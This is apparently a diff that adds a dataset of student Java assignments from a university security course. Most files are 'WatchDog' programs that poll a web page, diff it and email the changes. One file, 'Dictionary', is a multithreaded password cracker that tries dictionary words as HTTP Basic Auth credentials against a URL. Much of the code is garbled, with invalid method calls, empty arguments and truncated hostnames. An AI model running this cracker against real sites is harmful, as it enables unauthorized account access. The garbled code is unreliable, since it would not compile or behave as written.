+            Execute ex4 = new Execute(""echo \""The  ""+fullurl+"" was modified, here  the modifications:\"" > pagediff"");
+            
+            Execute ex5 = new Execute(""diff  .old >> pagediff"");
+            
+            Execute ex6 = new Execute(""mailx -s \"" modification\"" \""""+email+""\"" < pagediff"");
+            System.out.println(""Modification notice! Check your mail."");
+         }
+         
+         
+         Thread.sleep(waitperiod);
+      }
+   }
+}
+"
+100.java,"
+
+
+import java.net.*;
+import java.io.*;
+import java.Runtime;
+
+public class WatchDog{
+    public WatchDog(){}
+
+
+    public void copyTo(){
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        WatchDog wd= new WatchDog();
+        SendEMail t = new SendEMail();
+        PrintWriter pw=null;
+        URL url = new URL(""http://www.cs.rmit.edu./students"");
+        URLConnection yc = url.openConnection();
+        System.out.println(""Connection opened..."");
+        BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
+        String inputLine;
+        try{
+           pw=new PrintWriter(new FileOutputStream(""newHtml""));
+           while ((inputLine = in.readLine()) != null){
+              
+              pw.println(inputLine);
+	       }
+           pw.save();
+        }catch(IOException e){
+   		      System.out.println(""Error saving the file"");
+        }
+
+       
+        Process p = Runtime.getRuntime().exec(""diff -b newHtml oldHtml""); 
+        InputStream write = p.getInputStream();
+        BufferedReader bf = new BufferedReader (new InputStreamReader(write));
+        String line = bf.readLine();
+        if (line != null){
+            pw=new PrintWriter(new FileOutputStream(""diff""));
+              try{
+                 while (line != null){
+                     pw.println(line);
+                     line = bf.readLine();
+                 }
+                 pw.save();
+              }catch(IOException e){
+                 System.out.println(""Error saving the file"");
+              }
+
+           t.sendMail(""@cs.rmit.edu."",""diff"", ""html content changed"");
+        }
+        else{
+          
+           Runtime.getRuntime().exec(""./checkImage.sh"");
+           
+           try{
+              BufferedReader inputStream= new BufferedReader(new FileReader(""picDiff"")); 
+              line=inputStream.readLine();
+              if (line != null){ 
+                   t.sendMail(""@cs.rmit.edu."",""picDiff"", ""picture has changed"");
+              }
+              inputStream.save();
+            }catch(IOException e){
+                 System.out.println(""Error saving the file2"");
+            }
+        }
+        in.close();
+         Runtime.getRuntime().exec(""cp newHtml oldHtml"");
+         Runtime.getRuntime().exec(""rm picDiff"");
+        System.out.println(""Connection closed..."");
+    }
+}"
+017.java,"
+
+
+
+import javax.swing.*;
+
+public class Dictionary
+{
+    public static void main( String args[] )
+    {
+        PasswordCombination pwdCombination;
+
+        pwdCombination = new PasswordCombination();
+    }
+}  
+
+"
+009.java,"
+
+import java.util.*;
+import java.text.*;
+import java.io.*;
+import java.*;
+import java.net.*;
+
+public class WatchDog
+{
+   public static void main(String args[])
+   {
+      String s = null;
+      String webpage = ""http://www.cs.rmit.edu./students/"";
+      
+      
+      String file1 = ""file1"";
+      String file2 = ""file2"";
+      
+      try
+      {
+         Process p = Runtime.getRuntime().exec(""wget -O "" + file1 + "" "" + webpage);
+         
+         BufferedReader stdInput = new BufferedReader(new 
+                 InputStreamReader(p.getInputStream()));
+
+         BufferedReader stdError = new BufferedReader(new 
+                 InputStreamReader(p.getErrorStream()));
+
+            
+         while ((s = stdInput.readLine()) != null) { 
+            System.out.println(s);
+         }
+            
+            
+         while ((s = stdError.readLine()) != null) { 
+            System.out.println(s);
+         }
+         
+         try
+         {
+            p.waitFor(); 
+         }
+         catch (InterruptedException g)  
+         {
+         }  
+      }
+      catch (IOException e) {
+         System.out.println(""exception happened - here's what I know: "");
+         e.printStackTrace();
+         System.exit(-1);
+      }
+      
+      while (true)  
+      {
+         try
+         {
+            Process p = Runtime.getRuntime().exec(""sleep 86400""); 
+             
+            BufferedReader stdInput = new BufferedReader(new 
+                 InputStreamReader(p.getInputStream()));
+
+            BufferedReader stdError = new BufferedReader(new 
+                 InputStreamReader(p.getErrorStream()));
+
+            
+            while ((s = stdInput.readLine()) != null) { 
+               System.out.println(s);
+            }
+            
+            
+            while ((s = stdError.readLine()) != null) { 
+               System.out.println(s);
+            }
+         
+            try
+            {
+               p.waitFor(); 
+            }
+            catch (InterruptedException g)  
+            {
+            }  
+         }
+         catch (IOException e) 
+         {
+            System.out.println(""exception happened - here's what I know: "");
+            e.printStackTrace();
+            System.exit(-1);
+         } 
+         try 
+         {
+            Process p = Runtime.getRuntime().exec(""wget -O "" + file2 + "" "" + webpage);
+            
+            BufferedReader stdInput = new BufferedReader(new 
+                 InputStreamReader(p.getInputStream()));
+
+            BufferedReader stdError = new BufferedReader(new 
+                 InputStreamReader(p.getErrorStream()));
+
+            
+            while ((s = stdInput.readLine()) != null) { 
+               System.out.println(s);
+            }
+            
+            
+            while ((s = stdError.readLine()) != null) { 
+               System.out.println(s);
+            }
+         
+            try
+            {
+               p.waitFor(); 
+            }
+            catch (InterruptedException g)  
+            {
+            }  
+         
+         }
+         catch (IOException e) 
+         {
+            System.out.println(""exception happened - here's what I know: "");
+            e.printStackTrace();
+            System.exit(-1);
+         }
+         try 
+         {
+            
+            Process p = Runtime.getRuntime().exec(""diff "" + file1 + "" "" + file2);
+            
+            BufferedReader stdInput = new BufferedReader(new 
+                 InputStreamReader(p.getInputStream()));
+
+            BufferedReader stdError = new BufferedReader(new 
+                 InputStreamReader(p.getErrorStream()));    
+            
+             
+            while ((s = stdError.readLine()) != null) { 
+               System.out.println(s);
+            }
+         
+            try
+            {
+               p.waitFor(); 
+            }
+            catch (InterruptedException g)  
+            {
+            }
+            
+            if ((p.exitValue()) == 1) 
+            { 
+            
+               String mailServerURL = ""yallara.cs.rmit.edu."";
+               String host = ""yallara.cs.rmit.edu."";
+               String from = ""@yallara.cs.rmit.edu."";
+               
+               String subject = ""Change Detected In WatchDog.java"";
+     
+               try
+               {
+               	
+                  Socket csoc=new Socket(mailServerURL,25);
+                  BufferedReader in=new BufferedReader(
+                           new InputStreamReader(csoc.getInputStream()));
+                  
+                  PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
+                  System.out.println(""HELO ""+host);
+                  System.out.println(in.readLine());
+                  out.println(""MAIL FROM:""+from);
+                  System.out.println(in.readLine());
+                  System.out.println(in.readLine());
+                  System.out.println(""DATA"");
+                  System.out.println(in.readLine());
+                  System.out.println(""SUBJECT:""+subject);
+                  System.out.println(in.readLine());
+                  
+                  
+                  while ((s = stdInput.readLine()) != null){
+                     System.out.println(s);
+                  }
+                  out.println(""."");
+                  System.out.println(in.readLine());
+                  System.out.println(""QUIT"");
+                  System.out.println(in.readLine());                
+               }
+               catch(Exception e)
+               {
+                  e.printStackTrace();
+                  System.out.println(""Some error occoured while communicating  server"");
+               }
+            }      
+         }
+         catch (IOException e) 
+         {
+            System.out.println(""exception happened - here's what I know: "");
+            e.printStackTrace();
+            System.exit(-1);
+         }
+      }  
+   }
+}"
+023.java,"
+
+
+
+public class HoldSharedData
+{
+    private int      numOfConnections = 0;
+    private    int  startTime;
+    private    int  totalTime = 0;
+    private String[] password;
+    private int      pwdCount;
+
+    public HoldSharedData( int time, String[] pwd, int count )
+    {
+        startTime = time;
+
+        password = pwd;
+        pwdCount = count;
+    }
+
+    public int getPwdCount()
+    {
+        return pwdCount;
+    }
+
+    public void setNumOfConnections( )
+    {
+        numOfConnections ++;
+    }
+
+    public int getNumOfConnections()
+    {
+        return numOfConnections;
+    }
+
+    public int getStartTime()
+    {
+        return startTime;
+    }
+
+    public void setTotalTime( int newTotalTime )
+    {
+        totalTime = newTotalTime;
+    }
+
+    public int getTotalTime()
+    {
+        return totalTime;
+    }
+
+    public String getPasswordAt( int index )
+    {
+        return password[index];
+    }
+}  
+"
+037.java,"import java.io.*;
+import java.util.*;
+import java.text.*;
+import java.net.*;
+import java.security.*;
+
+
+
+public class WatchDog extends Thread
+{
+
+	
+	public static void main (String args[])
+	{
+	    WatchDog watcher = new WatchDog();
+	    watcher.run();
+	}
+
+	
+    public void run()
+    {
+   		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
+          twentyFourHours = 24 * 60 * 60 * 1000;
+        
+
+   		writeProgramLog(""Program started at "" + longTimestamp.format(new Date()));
+        while(true)
+        {
+    		writeProgramLog(""Running run at "" + longTimestamp.format(new Date()));
+            compare();
+            try
+            {
+                sleep(twentyFourHours);
+            }
+            catch(InterruptedException e)
+            {
+                writeProgramLog(""Program terminated at "" + longTimestamp.format(new Date()));
+                System.exit(0);
+            }
+        }
+    } 
+
+	
+    private void compare()
+    {
+        
+        
+        
+        String watchDogFile = ""watchDogHash_rcroft."";
+        String watchDogPageFile = ""watchDogPage_rcroft.html"";
+    
+        File watchDogLogFile = new File(watchDogFile);
+        
+        if(!watchDogLogFile.exists())
+        {
+            
+            
+            
+            
+            
+            WebPage targetPage = getPage();
+            if(targetPage.getSuccess())
+            {
+                byte[] newHash = calcHash(targetPage.getPageContents());
+                writeHash(newHash, watchDogFile);
+                writePage(targetPage.getPageContents(), watchDogPageFile);
+            }
+        }
+        else
+        {
+            try
+            {
+                
+                
+                
+                
+                
+                
+                WebPage targetPage = getPage();
+                if(targetPage.getSuccess())
+                {
+                    
+                    byte[] oldHash = new byte[16]; 
+                    byte[] newHash = calcHash(targetPage.getPageContents());
+
+                    
+                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));
+                    inWatchDogFile.readFully(oldHash);
+                    inWatchDogFile.print();
+                    
+                    
+                    
+                    
+                    if(!java.util.Arrays.equals(oldHash, newHash))
+                    {
+                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());
+                        mail(differences);
+                        writeHash(newHash, watchDogFile);
+                        writePage(targetPage.getPageContents(), watchDogPageFile);
+                    }
+                }
+            }
+            catch(IOException e)
+            {
+                writeProgramLog(""Exception: "" + e);
+            }
+        }
+    } 
+    
+
+	
+	private String enumerateDifferences(String oldPageFileName, String newPageData)
+	{
+	    String differences = """";
+	    File newFile = null;
+
+	    try
+	    {
+	      
+	      
+	      newFile = File.createTempFile(""new"", ""tmp"");
+          String tempFilePath = newFile.getAbsolutePath();
+          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));
+          outFile.writeBytes(newPageData);
+          outFile.print();
+          
+          
+          String commandLine = ""diff "" + oldPageFileName + "" "" + tempFilePath;
+          Process p = Runtime.getRuntime().exec(commandLine);
+          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));
+          String line;
+          while((line = diffs.readLine()) != null)
+            differences += line + ""\n"";
+          diffs.print();
+          newFile.delete();
+	    }
+	    catch(IOException e)
+	    {
+	        writeProgramLog(""Exception: "" + e);
+	    }
+	    return differences;
+	}  
+
+	
+    private void mail(String mailMessage)
+    {
+        
+        Vector emailAddresses = new Vector();
+        String watchDogEmailFile = ""watchDogEmail_rcroft.txt"";
+
+        
+        File emailFile = new File(watchDogEmailFile);
+        if(emailFile.exists())
+        {
+            try
+            {
+                
+                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));
+                String line;
+                while ((line = inWatchDogEmailFile.readLine()) != null)
+                {
+                    line = line.trim();
+                    if((line != """") && (line != ""\n""))
+                        emailAddresses.add(line);
+                }
+                inWatchDogEmailFile.print();
+    	    }
+    	    catch(FileNotFoundException e)
+    	    {
+    	        writeProgramLog(""Exception: "" + e);
+    	    }
+    	    catch(IOException e)
+    	    {
+    	        writeProgramLog(""Exception: "" + e);
+    	    }
+        }
+        else
+        {
+            emailAddresses.add(""@yallara.cs.rmit.edu."");
+            emailAddresses.add(""rac@acslink.aone.net."");
+        }
+                
+        if(emailAddresses.size() > 0) 
+        {
+            try
+            {
+                String fromAddress = ""From: "" + ""WatchDog Program ()"" + "" <"" + System.getProperty(""user.name"") + ""@"" + InetAddress.getLocalHost().getHostName() + "">"";
+        		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
+                String subject = ""Subject: [SEC project] Notification of target file changes ("" + longTimestamp.format(new Date()) +"")"";
+                for(int i = 0; i < emailAddresses.size(); i++)
+                {
+                    String toAddress = (String) emailAddresses.get(i);
+                    try
+                    {
+                        URL mailURL = new URL(""mailto: "" + toAddress);
+                        URLConnection mailConnection = mailURL.openConnection();
+                        mailConnection.setDoInput(false);
+                        mailConnection.setDoOutput(true);
+                        mailConnection.connect();
+                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));
+                        mailWriter.print("": "" + toAddress + ""\n"");
+                        mailWriter.print(fromAddress + ""\n"");
+                        mailWriter.print(subject + ""\n"");
+                        mailWriter.print(mailMessage);
+                        mailWriter.print();
+                        writeProgramLog(""\tNotification mailed in this run."");
+                    }
+                    catch(MalformedURLException e)
+                    {
+                        writeProgramLog(""Exception: "" + e);
+                    }
+                    catch(IOException e)
+                    {
+                        writeProgramLog(""Exception: "" + e);
+                    }
+                }
+            }
+            catch(UnknownHostException e)
+            {
+                writeProgramLog(""Exception: "" + e);
+            }  
+        }  
+    } 
+    
+
+	
+    private void writeHash(byte [] newHash, String fileName)
+    {
+        try
+        {
+            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
+            outFile.write(newHash, 0, newHash.length);
+            outFile.print();
+        }
+        catch(IOException e)
+        {
+            writeProgramLog(""Exception: "" + e);
+        }
+    }  
+    
+	
+    private void writePage(String newPage, String fileName)
+    {
+        try
+        {
+            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));
+            outFile.writeBytes(newPage);
+            outFile.print();
+        }
+        catch(IOException e)
+        {
+            writeProgramLog(""Exception: "" + e);
+        }
+    }  
+    
+
+	
+    private void writeProgramLog(String comment)
+    {
+        String fileName = ""watchDogLog_rcroft.txt"";
+        try
+        {
+            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));
+            outFile.writeBytes(comment + ""\n"");
+            outFile.flush();
+            outFile.print();
+        }
+        catch(IOException e)
+        {
+            
+            
+            System.out.println(""Exception: "" + e);
+        }
+    }  
+
+	
+    private WebPage getPage()
+    {
+        WebPage tempWebPage = new WebPage();
+        try
+        {
+            
+            
+            
+            String urlName = ""http://www.cs.rmit.edu./students/"";
+   	    	URL targetURL= new URL(urlName);
+           	HttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();
+        
+            
+            connection.connect();
+            connection.getResponseCode();
+            if(connection.getResponseCode() == 200)
+		    {
+		        String fileContents = """";
+		        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
+                String line;
+    		    while((line = in.readLine()) != null)
+		    	    fileContents = fileContents + line + ""\n"";
+		        in.print();
+		        tempWebPage.setPageContents(fileContents);
+    		    tempWebPage.setSuccess(true);
+    		    connection.disconnect();
+	        }
+	        else
+		    {
+    		    writeProgramLog(""Failed  connect "" + connection.getResponseCode());
+		    } 
+        }
+        catch(IOException e)
+        {
+    	    writeProgramLog(""Exception "" + e);
+        } 
+        return tempWebPage;
+    } 
+    
+	
+    private  byte[] calcHash(String pageContents)
+    {
+        byte[] outHash = null;
+        try
+        {
+            MessageDigest msg = MessageDigest.getInstance("""");
+            msg.reset();
+            msg.update(pageContents.getBytes());
+            outHash = msg.digest();
+            msg.reset();
+        }
+        catch(NoSuchAlgorithmException e)
+        {
+            writeProgramLog(""Exception: "" + e);
+        }
+        return outHash;
+    } 
+        
+} 
+"
+064.java,"
+
+import java.util.*;
+import java.*;
+import java.awt.*;
+import java.net.*;
+import java.io.*;
+import java.text.*;
+
+public class Dictionary {
+    
+    
+    
+    public static String Base64Encode(String s) {
+        byte[] bb = s.getBytes();
+        byte[] b  = bb;
+        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
+        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
+        '0','1','2','3','4','5','6','7','8','9','+','/' };
+        if (bb.length % 3!=0) {
+            int x1 = bb.length;
+            
+            b = new byte[(x1/3+1)*3];
+            int x2 = b.length;
+            
+            for(int i=0;i<x1;i++)
+                b[i] = bb[i];
+            for(int i=x1;i<x2;i++)
+                b[i] = 0;
+        }
+        
+        char[] c = new char[b.length/3*4];
+        
+        int i=0, j=0;
+        while (i+3<=b.length) {
+            c[j]     = table[(b[i]   >>  2)];
+            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
+            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
+            c[j+3]   = table[(b[i+2] &  63)];
+            i+=3;
+            j+=4;
+        }
+        
+        j = c.length-1;
+        while (c[j]=='A') {
+            c[j]='=';
+            j--;
+        }
+        
+        return String.valueOf(c);
+    }
+    
+    
+    public synchronized void getAccumulatedLocalAttempt() {
+        attempt = 0;
+        for (int i=0;i<MAXTHREAD;i++) {
+            attempt += threads[i].getLocalAttempt();
+        }
+    }
+    
+    
+    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
+        DecimalFormat fmt = new DecimalFormat();
+        fmt.applyPattern(""0.00"");
+        
+        System.out.println();
+        System.out.println("" ------------------------ [ CURRENT STATISTICS ] ---------------------------"");
+        System.out.println();
+        System.out.println(""  Current connections   : ""+curconn);
+        System.out.println(""  Current progress      : ""+attempt+ "" of ""+ALLCOMBI+"" (""+currprogress+""%)"");
+        System.out.println(""  Overall Attempts rate : ""+ovrl+"" attempts  second (approx.)"");
+        System.out.println();
+        System.out.println("" ---------------------------------------------------------------------------"");
+        System.out.println();
+    }
+    
+    
+    public class MyTT extends TimerTask {
+        
+        public synchronized void run() {
+            
+            
+            if (count==REPORT_INTERVAL) {
+                
+                DecimalFormat fmt = new DecimalFormat();
+                fmt.applyPattern(""0.00"");
+                
+                
+                getAccumulatedLocalAttempt();
+                double p = (double)attempt/(double)ALLCOMBI*100;
+                
+                
+                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
+                
+                
+                attmArr[attmArrIdx++] = aps;
+                
+                
+                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
+                count = 0;
+            } else
+                
+                if (count==0) {
+                    getAccumulatedLocalAttempt();
+                    attm = attempt;
+                    count++;
+                } else {
+                    count++;
+                }
+        }
+        
+        
+        
+        public synchronized double getOverallAttemptPerSec() {
+            double val = 0;
+            
+            if (attmArrIdx==0) {
+                return attmArrIdx;
+            } else {
+                for (int i=0;i<attmArrIdx;i++) {
+                     val+= attmArr[i];
+                }
+                return  val / attmArrIdx;
+            }
+        }
+        
+        private int      count = 0;
+        private    int  attm;
+        private int      attmArrIdx = 0;
+        private double[] attmArr = new double[2*60*60/10]; 
+    }
+    
+    
+    public synchronized void interruptAll(int ID) {
+        for (int i=0;i<MAXTHREAD;i++) {
+            if ((threads[i].isAlive()) && (i!=ID)) {
+                threads[i].interrupt();
+            }
+            notifyAll();
+        }
+    }
+    
+    
+    
+    public synchronized void setSuccess(int ID, String p) {
+        passw   = p;
+        success = ID;
+        notifyAll();
+        interruptAll(ID);
+        
+        
+        end = System.currentTimeMillis();
+    }
+    
+    
+    public synchronized boolean isSuccess() {
+        return (success>=0);
+    }
+    
+    
+    
+    public synchronized void waitUntilAllTerminated() {
+        while (curconn>0) {
+            try {
+                wait();
+            } catch (InterruptedException e) {}
+        }
+    }
+    
+    
+    
+    
+    public synchronized int waitUntilOK2Connect() {
+        boolean interruptd= false;
+        int idx = -1;
+        
+        
+        
+        
+        while (curconn>=MAXCONN) {
+            try {
+                wait();
+            } catch (InterruptedException e) { interruptd = true; }
+        }
+        
+        
+        
+        if (!interruptd) {
+            
+            curconn++;
+            for (idx=0;idx<MAXCONN;idx++)
+                if (!connused[idx]) {
+                    connused[idx] = true;
+                    break;
+                }
+            
+            notifyAll();
+        }
+        
+        
+        return idx;
+    }
+    
+    
+    public synchronized void decreaseConn(int idx) {
+        curconn--;
+        connused[idx] = false;
+        
+        
+        notifyAll();
+    }
+    
+    
+    
+    
+    public String[] fetchWords( int idx,int n) {
+        String[] result = new String[n];
+        try {
+            
+            BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
+            
+            for (int i=0;i<idx;i++) { b.readLine(); }
+            
+            for (int i=0;i<n;i++) {
+                result[i] = b.readLine();
+            }
+            
+            b.print();
+        } catch (FileNotFoundException e) {
+            System.out.println(e);
+            System.exit(0);
+        } catch (IOException e) {}
+        return result;
+    }
+    
+    
+    public String fetchWord( int idx) {
+        String result = null;
+        try {
+            
+            BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
+            
+            for (int i=0;i<idx;i++) { b.readLine(); }
+            
+            result = b.readLine();
+            
+            b.print();
+        } catch (FileNotFoundException e) {
+            System.out.println(e);
+            System.exit(0);
+        } catch (IOException e) {}
+        return result;
+    }
+    
+    
+    public static void readThroughDictionary() {
+        try {
+            
+            BufferedReader b = new BufferedReader(new FileReader(DICTIONARY));
+            PrintWriter w    = new PrintWriter(new BufferedWriter(new FileWriter(TEMPDICT)));
+            String s;
+            
+            ALLCOMBI = 0;
+            while ((s=b.readLine())!=null) {
+                if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) {
+                    w.println(s);
+                    ALLCOMBI++;
+                }
+            }
+            b.print();
+            w.print();
+        } catch (FileNotFoundException e) {
+            System.out.println(""Unable  open the DICTIONARY file '""+DICTIONARY+""'"");
+            System.exit(0);
+        } catch (IOException e) {
+            System.out.println(""Error in  the DICTIONARY file '""+DICTIONARY+""'"");
+            System.exit(0);
+        }
+    }
+    
+    
+    
+    
+    
+    public class ThCrack extends Thread {
+        
+        
+        public ThCrack(int threadID, int startidx, int endidx) {
+            super("" Thread #""+String.valueOf(threadID)+"": "");
+            this.ID       = threadID;
+            this.startidx = startidx;
+            this.endidx   = endidx;
+            
+            
+            if (endidx>=startidx+MAXCACHE-1) {
+                this.localDict = new String[MAXCACHE];
+                this.localDict = fetchWords(startidx,MAXCACHE);
+                lastFetchIdx   = startidx+MAXCACHE-1;
+            } else {
+                this.localDict = new String[(int)(endidx-startidx+1)];
+                this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));
+                lastFetchIdx   = endidx;
+            }
+            
+            setDaemon(true);
+        }
+        
+        
+        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
+            int i;
+            String msg;
+            
+            
+            URL tryURL = new URL(THEURL);
+            
+            
+            connections[connID]=(HttpURLConnection) tryURL.openConnection();
+            
+            
+            connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass));
+            
+            
+            i = connections[connID].getResponseCode();
+            msg  = connections[connID].getResponseMessage();
+            connections[connID].disconnect();
+            
+            
+            if (i==HttpURLConnection.HTTP_OK) {
+                
+                System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"")."");
+                setSuccess(this.ID,thePass);
+                return (true);
+            } else {
+                
+                System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"")."");
+                return (false);
+            }
+        }
+        
+        
+        public void rest(int msec) {
+            try { sleep(msec); } catch (InterruptedException e) {}
+        }
+        
+        
+        public String getCacheIdx(int idx) {
+            if (idx<=lastFetchIdx) {
+                return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
+            } else {
+                if (lastFetchIdx+localDict.length-1>endidx) {
+                    this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));
+                    lastFetchIdx   = endidx;
+                } else {
+                    this.localDict = fetchWords(lastFetchIdx+1,localDict.length);
+                    lastFetchIdx   = lastFetchIdx+localDict.length;
+                }
+                return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
+            }
+        }
+        
+        
+        
+        public String constructPassword(int idx) {
+            return getCacheIdx(idx);
+        }
+        
+        
+        public String getStartStr() {
+            return fetchWord(this.startidx);
+        }
+        
+        
+        public String getEndStr() {
+            return fetchWord(this.endidx);
+        }
+        
+        
+        public void run() {
+             i = startidx;
+            boolean keeprunning = true;
+            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
+                
+                
+                int idx = waitUntilOK2Connect();
+                
+                
+                if (idx==-1) {
+                    
+                    break;
+                }
+                
+                try {
+                    
+                    String s = constructPassword(i);
+                    
+                    if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))
+                        launchRequest(getName(), idx, s);
+                    else
+                        System.out.println(getName()+""skipping '""+s+""'"");
+                    
+                    decreaseConn(idx);
+                    
+                    localattempt++;
+                    
+                    
+                    rest(MAXCONN);
+                    i++;
+                } catch (InterruptedException e) {
+                    
+                    
+                    keeprunning = false;
+                    break;
+                } catch (IOException e) {
+                    
+                    
+                    
+                    
+                    
+                    decreaseConn(idx);
+                }
+            }
+            
+            
+            if (success==this.ID) {
+                waitUntilAllTerminated();
+            }
+        }
+        
+        
+        public int getLocalAttempt() {
+            return localattempt;
+        }
+        
+        private int startidx,endidx;
+        private int ID;
+        private int localattempt = 0;
+        private String localDict[]; 
+        private  int  lastFetchIdx;
+    }
+    
+    
+    public void printProgramHeader(String mode,int nThread) {
+        System.out.println();
+        System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************"");
+        System.out.println();
+        System.out.println(""  URL         : ""+THEURL);
+        System.out.println(""  Crack Mode  : ""+mode);
+        System.out.println(""  . Char   : ""+MINCHAR);
+        System.out.println(""  . Char   : ""+MAXCHAR);
+        System.out.println(""  # of Thread : ""+nThread);
+        System.out.println(""  Connections : ""+MAXCONN);
+        System.out.println(""  All Combi.  : ""+ALLCOMBI);
+        System.out.println();
+        System.out.println("" ***************************************************************************"");
+        System.out.println();
+    }
+    
+    
+    public void startNaiveCracking() {
+        MAXTHREAD = 1;
+        MAXCONN   = 1;
+        startDistCracking();
+    }
+    
+    
+    public void startDistCracking() {
+          int startidx,endidx;
+        int   thcount;
+        
+        
+        if (isenhanced) {
+            printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD);
+        } else {
+            printProgramHeader(""NAIVE DICTIONARY CRACKING ALGORITHM"",MAXTHREAD);
+        }
+        
+        
+        
+        
+        
+        
+        
+        
+        if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); }
+         mult = (ALLCOMBI) / MAXTHREAD;
+        
+        
+         i = System.currentTimeMillis();
+        
+        
+        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
+            startidx = thcount*mult;
+            endidx   = (thcount+1)*mult-1;
+            threads[thcount] = new ThCrack(thcount, startidx, endidx);
+            System.out.println(threads[thcount].getName()+"" try  crack from '""+threads[thcount].getStartStr()+""'  '""+threads[thcount].getEndStr()+""'"");
+        }
+        
+        
+        
+        
+        
+        startidx = (MAXTHREAD-1)*mult;
+        endidx   = ALLCOMBI-1;
+        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
+        System.out.println(threads[MAXTHREAD-1].getName()+"" try  crack from '""+threads[MAXTHREAD-1].getStartStr()+""'  '""+threads[MAXTHREAD-1].getEndStr()+""'"");
+        
+        System.out.println();
+        System.out.println("" ***************************************************************************"");
+        System.out.println();
+        
+        
+        for (int i=0;i<MAXTHREAD;i++)
+            threads[i].print();
+    }
+    
+    
+    public Dictionary() {
+        
+        if (isenhanced) {
+            startDistCracking();
+        } else {
+            startNaiveCracking();
+        }
+        
+        
+        reportTimer  = new java.util.Timer();
+        MyTT      tt = new MyTT();
+        reportTimer.schedule(tt,0,1000);
+        
+        
+        while ((success==-1) && (attempt<ALLCOMBI)) {
+            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
+        }
+        
+        
+        if (success==-1) {
+            end = System.currentTimeMillis();
+        }
+        
+        
+        getAccumulatedLocalAttempt();
+        
+        double ovAps = tt.getOverallAttemptPerSec();
+        DecimalFormat fmt = new DecimalFormat();
+        fmt.applyPattern(""0.00"");
+        
+        
+        reportTimer.cancel();
+        
+        
+        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
+        
+        
+        synchronized (this) {
+            if (success>=0) {
+                System.out.println();
+                System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"");
+                System.out.println();
+                System.out.println(""  The password is     : ""+passw);
+                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
+                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
+                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
+                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
+                System.out.println(""  Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds"");
+                System.out.println();
+                System.out.println("" ***************************************************************************"");
+                System.out.println();
+            } else {
+                System.out.println();
+                System.out.println("" ********************* [ UNABLE  CRACK THE URL !!! ] *********************"");
+                System.out.println();
+                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
+                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
+                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
+                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
+                System.out.println();
+                System.out.println("" ***************************************************************************"");
+                System.out.println();
+            }
+        }
+    }
+    
+    
+    public static void printSyntax() {
+        System.out.println();
+        System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]"");
+        System.out.println();
+        System.out.println(""   mode     : (opt) 0 - NAIVE Dictionary mode"");
+        System.out.println(""                        (trying from the first  the last combinations)"");
+        System.out.println(""                    1 - ENHANCED Dictionary mode"");
+        System.out.println(""                        (dividing cracking jobs  multiple threads) (default)"");
